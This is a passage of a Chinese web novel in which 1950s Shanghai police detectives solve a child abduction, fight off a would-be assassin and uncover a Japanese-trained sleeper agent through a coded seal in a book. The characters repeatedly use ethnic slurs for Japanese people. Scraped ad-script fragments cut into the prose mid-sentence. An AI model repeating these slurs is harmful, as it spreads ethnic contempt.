小梅想了想似乎有点任命“我在俊杰和孩子离开后，就在乡下找了一个男人，他对我不错，但是我们两个一直没有孩子，前段时间他去医院检查，发现是弱精症，医生说有孩子几率不高，他想要个孩子，我们俩就想到这种办法。” 顾昭蕙皱了皱眉头，“之前你一直没想把孩子带走，这会为什么会打孩子主意？” 小梅低了低头没说话，倒是旁边的女人有些恍然的说“我怀孕了。你怕我对孩子不好？” 女人有些气愤，但是什么没说，她此时脑袋十分混乱，这乱七八糟的事情，孩子母亲去世，和孩子母亲在世是完全不同的，更何况这个母亲竟然一直在她身边。 根据小梅的招供，很快他们在附近的一间小出租屋内找到了孩子，此时孩子还因为安眠药没有醒来，小梅和她那个男人一起被抓到警局。 “查查这个杨俊杰，他离开后为什么会在一年半后再次回来，他们一家子去了哪里。他在港口工作，也要好好调查一下。”顾昭蕙坐在办公桌前看着小梅的笔录。 这笔录里多数是杨俊杰的一些事情，原本在小院里他们就发现问题了，但是没有打草惊蛇。看杨俊杰妻子张云英对他的情况是不知情的，回来后他们翻看了档案，发现杨俊杰从外面回来后就跟他妻子相亲，然后两人交往不到半年就结婚了。 “港口工作，这个有点不好查，两个系统。”齐云松皱了皱眉头说。 “找上边联系一下，让他们自己查，他们也不想内部出现问题吧。”顾昭蕙说道。 “行我去打电话。”齐云松说道。 “小梅这个案子也不知道怎么判？”顾昭蕙觉着这个案子有点难。 这年代法律还不健全，这个案子中小梅还是孩子的母亲，还真是不好判。 “这两个人也是挺能够的，相处这种办法，几乎是在张云英眼皮子底下把孩子弄走了，如果不是咱们过去，痕迹检测恐怕没有那么细致，最后结果还不知道是那么样呢。” “说起来杨俊杰的情况似乎过于明显。”顾昭蕙皱了皱眉头，杨俊杰，引起他们怀疑，主要是他离开国内，然后又回来，他似乎没有回来的理由，而且回来之后迅速的结婚，进入港口工作，看起来就是很有目的性的。 “不管怎么样查查就好了。”齐云松倒是没有太多的想法，这年代特务太多了，岛上的小本子的，等等世界很多国家还是在找机会□□。他见过的特务太多了。 顾昭蕙点点头，看了看时间，已经八点多了，“走吧去吃饭，哎今天好不容易休息一天，又泡汤了。” 齐云松笑了笑，发现顾昭蕙似乎活泼许多，像是这样抱怨的话，之前是不会说的。 两个人去食堂吃了饭，沪市市局食堂师傅会留到晚上十点，晚上还是有宵夜的，两个人吃了两碗小馄饨，这是最近喜欢吃的，知道这边有宵夜，他们晚上总是要来一碗馄饨或是云吞面，竹升面，好多种类的。这个在京城是很难吃到的。 吃了馄饨慢慢的走会宿舍，顾昭蕙拿了盆去水房接了水，准备擦洗一下，说起来这边有点不好的地方就是天气热还潮，洗澡也没那么方便。 简单擦洗一下，顾昭蕙点上蚊香，将屋子里的一张春凳挪到阳台，铺上凉席直接躺在上边，手上拿着蒲扇慢慢的扇着。脑袋里不断闪现之前的案子，赵庆远的案子，还有今天上午的案子。线索在脑海不停地闪现。 翻了个身，顾昭蕙叹了口气，赵庆远的案子实在有些棘手，对方是个专业的杀手，还有那个医生，隐藏的也太深了。她这边信息太少，还有就是对于沪市，她了解还是太少了。 忽然传来一股凉风，有些凉爽，沪市这边靠海，时不时的凉风，让夜晚不那么难过。 顾昭蕙闭上眼睛，手上的蒲扇也放了下来，进入梦乡。 正睡着，突然轻微的叮声，她一下惊醒， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 心脏扑通扑通的跳着，她很警醒的没有动，接着她就听到轻微的摩擦声，那是踩着墙向上爬的声音。 她皱了皱眉头屏住呼吸，小心的蹲在地上，她甚至不在用鼻子呼吸，她张开嘴小心的呼气吸气，这样可以减少呼吸的声音，尽可能的减少自己的存在感。 轻微的声音已经来到旁边，闯入者很小心他从阳台上跳了出来，就在他落地的那一刻，顾昭蕙迅速扑了上去，同时口中大叫一声，“谁。” 顾昭蕙一脚踢在那人身上，那人反应速度很快，侧身躲过一脚手上出现一把刀子，对着顾昭蕙挥去，顾昭蕙扭身躲过，将旁边的衣架拿起一甩，打在那人胳膊上。 这些日子不光顾昭蕙住在阳台，齐云松也是一样，顾昭蕙哪一声一下子就将他叫醒，他腾楞的站起身，抓着阳台的墙一个跳跃就跳了过来，等顾昭蕙轮着衣架的时候，齐云松已经扑上来了，那人看着情况不对，整个人扑向阳台，但是被齐云松一脚踢到后腰，叫了一声，直接从阳台翻了下去，齐云松双手一撑也从阳台跳了下去。 那人摔得有点狠，并没有站起身。 齐云松上前，将人双手扭转，膝盖压着他的后背，将手抓住，他又将那人的头发抓住。往后一拉，正好值班的人拿着电筒走了过来，一束光亮照到那人脸上，“关辉，怎么是你？”值班那人显然认识对方。 审讯室，“说说吧，你为什么袭击顾同志？”杨智勇被人从家里叫出来，听说这个事情十分震惊。 关辉头上全是血，他从楼上掉下来的时候，头撞到地上，被简单包扎后，就被压倒审讯室。 关辉看了看杨智勇，整个人很沉默，双手被拷在桌子上，双手捏在一起。 顾昭蕙从窗口看向关辉，“他是治安科的？”她记得之前一个案子跟治安科合作，这个关辉就在其中。 “是的。”陈生辉皱着眉头回道“他是局里最早一批同志，沪市市局组建的时候他就在。” 齐云松伸着头看了看，然后站直了身子，摇晃着脑袋说道“这人不会那么容易招的。”停止晃脑袋看向顾昭蕙“嘿你那一嗓子，弄得我脑袋现在还嗡嗡的。” 顾昭蕙笑了笑，“你那是起来急了。” “走吧去查查。”齐云松觉着光靠审讯是没有用的。还是查找一下看看这人到底怎么回事吧。 他们俩跟着陈生辉去了关辉的家里，他家在一个胡同里，是个独门独院，但是屋子只有三间，“等等。”齐云松将人拦住，他用手电照着大门，一直照到下面，手电筒照到一跟头发，“这种手段可不是一个普通警察能做的。” 顾昭蕙上前，小心的将那根头发拿起来，看了看“发丝很黑，是女人的头发。”将那根头发放在证物袋里。 三人小心的打开屋门，用的是关辉身上的钥匙，不过三人还是很小心，这种预警手段都用出来了，屋子里还不一定有什么手段呢。 105. 第 105 章 第一百零五章 屋子里很平常，看起来跟这个年代普通家庭一样，粗看下没什么不同。 不过三个人都站住了，低头看向地面，地面是那种小碎花地砖，属于老沪上的味道一下子扑面而来，但是他们注意的是，地砖上有一层浅浅的灰尘，如果不是特别注意，最多会以为屋子里人没有打扫落了灰尘，但是在他们眼里，这未免过于明显。 “他的防范措施真不少。”陈生辉撇了撇嘴说道，如果是之前，他恐怕这两个小陷阱都不会注意到，还是顾昭蕙他们过来，看了他们的现场勘查才一点点学起来，以前那会注意这些东西。 蹲下仔细看了一下，没有发现脚印，齐云松先走进去，在玄关转了一圈，从鞋柜后面找到一把匕首，转悠一圈没有更多发现，对顾昭蕙点点头，“没事了。” 顾昭蕙走进屋子，屋子里生活气息还是足的，顾昭蕙仔细看了看屋子问了一句“关辉有妻子吗？” 陈生辉摇了摇头，“没有，我听局里人说他结婚没多久妻子就在一次意外中去世了，后来一直没找，局里去年进行过一次相亲会，户籍科的赵小琪看上他了，但是他一直冷冷的。俩人就没成。”陈生辉对这事这么清楚，还是因为赵小琪长得不错，局里好几个人都喜欢她，结果传出赵小琪喜欢关辉，后来没了下文，最近听说赵小琪跟外边劳动局一个干事处上了。也不知道是不是真的。 “那他跟别的女人有关系吗？”顾昭蕙手拄着床翻着枕巾看着。 “没听说。要不我跟邻居打听一下？”陈生辉在局里没有听说过，不过这附近的人应该能看到吧。 顾昭蕙摇了摇头，“不必了。”打开衣柜仔细看着，这屋子除了门口和枕巾背面有那么一根头发外，屋子里没有任何女人的痕迹，所以就算问了也不会有结果，那个人跟他来往也是秘密的。 齐云松看着窗户前面的书桌，将上面的录音机打开，录音机里传来滋啦滋啦的声音，仔细一看频道是乱的。他将录音机抬起来对着看向这边的顾昭蕙摇了摇头“应该是通过这个联系。” 顾昭蕙想了想说“现在电台不是管控的吗？” “这边能收到一些敌台。这边监管也能收到，只是用密码保护，咱们还没能破解。”齐云松从书桌里找到两本书，一本是三五年出版的三国演义，一本书是去年出版的字典。翻看一下，两本书都有经常翻看的痕迹。 忍不住呲笑一下“当年咱们用这个办法，现在换过来了。” 顾昭蕙也明白他的意思，看了看那本三国演义“关辉应该不是简单的潜伏人员，之前没有任何的破绽，也不是替换人员，我记得当年我查了档案，这人是苏杭人，在四三年的时候就参加队伍了，那时候才十九岁，之后参加过很多次战役，后来市局组建需要大量人员，将他调过来的，档案上没有任何问题。” 齐云松继续翻看那本三国，“没有问题才是大问题。”他看了看将三国交给顾昭蕙。 顾昭蕙接过来，开始还没看出什么，但是接下来，她就发现了，这本书已经有些老旧了，里面写了一些批注，似乎关辉经常观看，他很喜欢这本书，但是如果仔细观察就会发现，这些批注不是一天两天写出来的，有的新有的旧。 顾昭蕙皱了皱眉头，将三国单独放在档案袋里，小心的收到包里。 他们三人继续在屋子里查找线索，之后在床头的一个床腿里发现了几根金条。 回到局里那边审讯没有任何结果，关辉似乎打定了主意，不准备开口了。顾昭蕙站在门口仔细观察了一会，发现关辉对对面的问话并没有什么反应，不管对面怎么说他眼中都是一片平静。 “他肯定是受过专业训练。不是普通的特务。”齐云松弯着腰看了一会说道。 顾昭蕙点点头，回到办公室，将档案袋拿出来，里面是那本三国演义。 顾昭蕙先是大略翻了一下，“他很喜欢这本书。” 齐云松点点头，“里面评论很多也很工整。” 顾昭蕙翻看书页，书的第一页右下角，有一个印章，仔细观察印章上是乱七八糟的线条，并不是某个人名，她皱了皱眉头，这印章有什么意义呢？ 看了一会印章已经刻在脑海了，但是她还是没看懂。先放下，将书打开。她主要看的是批注，关辉的字很工整，是那种一板一眼的工整，很多人做笔记讲究的是快，往往会有些连笔，但是关辉没有。 顾昭蕙看了一会，突然想到什么，从抽屉里拿出一个本子，然后开始记录，齐云松看了一下，发现她是跳着记得。 “这是关辉不同时期的记录？”他看了一会问。 “是，你看这里的笔记，还有写的字，多少有些不同。”齐云松仔细看了看，除了墨色有那么一点不一样外，他没看出有什么不同。 “好吧，你看吧，我去打饭，给你带回来？”齐云松想她应该不会去食堂了。 点了点头，“想吃面食，看看有没有馒头。”头也没抬的说道。 “行。没有我去外面买。”看她似乎已经沉浸在工作中，齐云松说完就拿着饭盒离开了。 顾昭蕙这一抄录就抄到第二天中午，这期间除了睡觉，就连吃饭都没有停止查看，终于在第二天吃饭前，将书里的内容整理好了。 正好齐云松从外边弄来了两只八宝鸭子，一只送给杨智勇几人，一只俩人吃，顾昭蕙这会有点兴奋，抽了抽鼻子，“哎呦，这是从那弄来的？”这个还是刚来沪上的时候吃过一回，后来想吃，不是买不到，就是需要排队。 “新认识的饭店师傅，会做这个，我弄了材料让他给做的。”齐云松将饭盒摆好，“跟你说这大师傅手艺真是好，我跟他说好了，明天弄点五花肉，让他做红烧肉。”齐云松还是昨天去买馒头的时候在国营饭店遇到的，中午从饭店打的菜，晚上又去饭店找大师傅说话。这人交际能力强，早上把鸭子送去，中午就吃上了。 顾昭蕙知道肯定还要给些好处的，不过这都无关紧要了，反正他俩的工资补助，够他俩吃了，不过“别那么频繁，影响不好。” 齐云松点点头，“行，下次咱们周末咱们在宿舍吃。” 他俩虽然不属于这边的，但是太张扬也不好，这会他已经在脑海里模拟好几种低调的改善伙食的办法了。想着想着自己忍不住乐了，没想到有一天，把心眼用到这上边，不过顾昭蕙的爱好不多，就是喜欢吃，没啥不好的。想着顾昭蕙差不多将工资和票据给他处理了，心里多少有点美滋滋的，这算不算是掌握家庭财政大权？ 顾昭蕙吃了一口鸭子，“哎呦，这师傅行啊。”眼睛都睁大了，作为顾湘的记忆力，是有八宝鸭的记忆的，但是那时候跟现在不一样，调料多呢，她这么爱吃，多少是被顾湘影响的，但是现在这师傅做出来的味道一点不差，甚至更好吃一些，都是刚刚好。 “好吃就多吃点。”齐云松都想着沪市这边那里能买到好鸭子了。 一顿午饭两人吃的极其满足，收拾好桌子，泡上淡茶，顾昭蕙靠着椅子看着窗户外面，齐云松则是拿着顾昭蕙抄录的笔记本看着，这笔记本上不但将他的批注都抄录下来，还做了一些标记。 “差不多有五次的批注，这人每次看书都从头看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到尾，他很喜欢这本书，每一次记录虽然有的相隔几天，但是往往是从前看到后，几乎没有断开的。”顾昭蕙说道。 齐云松点点头“看批注，他的心境变化不小。”齐云松说道这里，然后点着顾昭蕙抄录的，她将这些批注先是在脑海中进行对比，然后有找出顾湘在图书馆里看过的字迹墨迹纸张痕迹鉴定书籍，顾湘上大学的时候，对这些书籍都是翻看一下，了解一下，学习的并不算认真，只是了解一下，想着以后办案的时候有需要，知道从那个方面查起，算是扩展知识面。 就是这种心态，让她看了很多书，什么都了解一下，等到她这里，这些知识就被大脑给整理出来，所有的东西只要扫了一下，眼睛所见，清晰复刻。 根据这些痕迹鉴定的能力，她将这些自己进行了整理，然后根据墨迹痕迹，确定时间长短，确定的时候还有些困难，不过大脑还有一点归类，这个归类就是从批注中语言来判断他的心理。 显然齐云松也发现这个问题了，所以他将第二段批注，单独点了出来。 齐云松将书籍打开，按照笔记整理，将那第二阶段批注，进行了仔细查看，过了一会脸上露出一个意外加上兴奋的表情，“你也确定了？” “应该没错了。”顾昭蕙翻开书本上第一页，“你看这个印章是什么？它是一些图案叠加的。” 齐云松仔细看着那个图章，或许已经有了猜测，比顾昭蕙更快地发现了这个图长的秘密。 他拿了笔，将图案一点点的拆解出来，いしい川，他抬头看向顾昭蕙，“他以为我们都是傻子吗？” 顾昭蕙摇了摇头“跟是不是傻子没有关系，大多数人看到后不会往这边想，他不觉着这本书会被人发现，就算发现也不会往这边想，那个川字如果用平假名的话会很容易辨认，所以他用了汉字，石井川，背景还是那座火山，乱了线条，如果不是心有怀疑，根本不会往这边考虑。” 顾昭蕙说完，回忆了一下“他身上没有小本子的味，估计是从小训练的，在咱们国家长大的。” “哼，谁知道呢，没准是咱们的孤儿被洗了脑，为他们做事，他自己都当自己是小本子人，但是我觉着有些问题，他的长相不想小日子人，另外就是如果真是他们自己人，怎么会给安排这个位置。真是阴魂不散。”齐云松厌恶的皱了皱眉头。 顾昭蕙也很厌恶，但是“根据资料上看来，他应该没有起多大作用，他们就投降了，之后就是在部队里，那时候，他应该被抛弃了，再然后进入市局。正常来说，在那个时候他没有逃走，那么之后的日子，他应该是孤雁，那这次又为什么，出来，做这样很容易就被发现的事情。要知道当时他就算得手了，最后也会被怀疑的。这都是问题。” “那就看他怎么回答了。”齐云松说着眉头紧了紧，又看向后边的一些记录，“你说这几段批注是不是他在遇到事情的时候写的。” 顾昭蕙点点头“我也这么想的，第二段批注里，有许多压抑的语言，看写字力度过于用力，前面悲观，后面，带有一点自我劝慰，他应该是用这种方式来发泄自己的心理问题。借着古今对话来释放自己的情绪。” 齐云松点点头，“这样说来这人还真是有一套。” 顾昭蕙翻开最后一段笔记“这段不多，之前是零零散散的记录，看起来倒是有一种千帆过尽的平静，也许他已经认命了。但是你看第五段，倒是很多评价书中女性，似乎对于女性有些不同的看法。这是之前没有的。” “长发女人!”齐云松说道。 “对，也许这个女人就是关键。” 106. 第 106 章 第一百零六章 关辉是个小日子人，本名叫石井川，从记事起就在一个基地，那个基地里全都是小日子的小孩，那里表面上就是一个华国村庄，他们表面上学习华国的一切常识，思想上却是受到小日子军国教育。 关辉资质一般，在受训结束，就被派往军队，不过没等他有多大作为，小日子就投降了，之后他就像是断了线的风筝，一直战战兢兢的。之后一直到了四九年，他被派往沪市市局，也没有被人启用。 他以为自己这辈子就这么平静的过去，却没想到自己遇到了那个女人。 “我第一次见她是在火车站，当时她的钱包被偷了，一个人无助的站在那里，她看起来知性柔美。我一下子被她吸引了。哪次我帮助了她，之后我们又见了几次。直到半年前，我去抓捕犯人，偶遇了她，发现她竟然是小日子人。” 关辉似乎陷入回忆。 顾昭蕙和齐云松坐在那里没有打断他，静静等着他回忆，关辉，石井川这个名字似乎是他的最后底线，当这个秘密被人发现的时候，他已经没有隐瞒的必要，他知道自己的结局，所以当听到齐云松准确的叫出自己的名字，他似乎一下子放松下来，也不那么紧绷着了。对于两人的问话也一一回答。 “我那时候不知道处于什么心理，或许我太渴望我的家乡。我放了她，之后我跟她在一起了。她是个温柔的女人，与我见到的女人全都不一样，她只在夜晚过来，我知道她身份不简单，但是我还是贪恋这点温柔。”关辉笑了笑，过了一会他收敛了笑容，“直到前天，她跟我说市局来了个厉害的女人，她被盯上了，如果不出掉那个人，她就会暴漏。尽管她没有说什么。但是我知道，她想让我动手。” 关辉看了一眼齐云松“你很厉害，我知道，我也知道，只要我动手，几乎没有逃走的可能。” “那为什么还要做？”齐云松说道。 关辉苦笑了一下，“做不做结果都是一样的。当她将这件事情说出口的时候，一切就已经注定了。”他又怎么不清楚，这个女人是利用他，他以为两个人是有感情的，但是当她将事情说出口的时候，就说明她从来没有爱过他，一切只是泡影，是他的一厢情愿。 他只不过走向自己的结局。 “你知道她的住处在哪，什么身份吗？”齐云松说道。 关辉摇了摇头，“不清楚，当初也是一个盗窃案，被我碰到了，结果调查的时候发现受害者竟然是小日子人，小偷当时藏在衣柜里，听到两个人用小日子语言说话，我查的时候就发现另外一个人是她，我们俩在一起的时候不会说这些事情。”他也是逃避心理，并不过问这些。对方也没对她说过什么。 关辉没有说出更多的信息，但是给了画像，还是他自己画的，顾昭蕙觉的可能有些美化。 再也问不出来什么，顾昭蕙和齐云松起身准备结束这场谈话，走到门口顾昭蕙回头看到关辉正侧着头看着窗外的树木，神情很是平和。 她想了想忍不住说了一句，“你最早的记忆在训练营，那么你怎么确定你就是小日子国人？” 尽管关辉没有交代出自己有什么恶行，但是想着只为了一个女人，就能做到杀害同事的事情，顾昭蕙不相信他的清白。既然怀疑那个女人，还是一个谨慎的特务，顾昭蕙不相信他去查这个女人的身份。 “他没说实话，这个画像也不一定准。”齐云松将画像看了又看，然后摇了摇说道。 “嗯。”跟她想法一样，他的话也就一半一半是真的吧。 顾昭蕙想了想说，“你说如果他诉说的那个女人的事情是真的，那么那个女人会不会知道他的身份，这一切都在那个女人的算计在内？” 齐云松愣了一下“不会吧，这么长时间没有人跟他联系，他的身份还有人知道？” “没什么不可能的，也许就是一张闲棋。” “你这么一说，那么那个女人所控制的恐怕不止他一个人。” 顾昭蕙突然想到什么，一下子站起身“走去提审林杰。”因为案件发展，林杰已经被秘密转移回来。 “林杰，你记不记得给你做手术的医生是男是女？”顾昭蕙问。 林杰愣了一下，然后皱着眉头“不是很清楚，我没有见过那个医生，我做过四次手术，每次都是打了麻药，清醒后没有见过医生，与我接触最多的是一个护士。” “那个护士长什么样子你知道吗？”顾昭蕙问。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >林杰想了想说，“挺漂亮的，每次见我都是带着口罩，不过人很好，每次我醒来，问我情况，都很细致也很耐心。” “你手术醒来后只见过她一次医生没有见过？”顾昭蕙问。 “只见过她。”林杰很肯定。 顾昭蕙拿出那张照片，给他看“你看是这个人吗？” 林杰皱着眉头看了看说“说不好。” 顾昭蕙拿了一张白纸，将女人的脸遮挡上，只露出眼睛。 林杰看了看点点头“九分相似。样貌实在不一样，有一次我无意中看到她侧脸，不是这样的。那个护士脸比这个瘦一些，脸颊有个酒窝，她每次与我说话，美眼都是带笑的，听声音也很温柔。” 顾昭蕙点了点头。 走出审讯室，顾昭蕙将那张纸折了一下，只露出眼睛以上部位。 “或许只有这双眼睛是真的。” “你是说这个女人是‘医生’那边的护士？”齐云松说道。 “不，她可能就是医生。”顾昭蕙说着有点兴奋的看着齐云松“关辉杀我的事情，应该是真的，没有别的理由，我们最近查的事情，就是关于医生的案子。” 她停下脚步，“我们来到护士，先是破获一桩连环杀人案，这在沪市都是非常出名的，市局有几位‘潜伏’者，我们的身份一定会被各方察觉。然后赵庆远，他对我们那么熟悉，肯定会将事情汇报上去。我们没有动赵庆远，但是‘医生’会觉着自己有危险，毕竟赵庆远的事情属于破例了，‘他’害怕暴露，所以将赵庆远灭口。” 顾昭蕙说到这里敲了敲手，“咱们那天去抓赵庆远，与‘他’前后脚，没有相隔多久，或许一切都被‘他’看在眼里。‘他’害怕了，然后走了一步闲棋。” 齐云松觉着顾昭蕙分析的是对的“你说的有道理，关辉确实也是一步闲棋。”但凡跟关辉关系更亲近一点，也不会他家里一点痕迹也不留。“如果她真的就是‘医生’那么这个人也太厉害了。” 顾昭蕙点点头“如果我们分析的对，那么当初我们寻找的方向就有些问题了，之前我们查过全市所有医生的档案，没有找到可疑人员，但是如果她利用护士的身份隐藏，那我们就漏查许多人了。”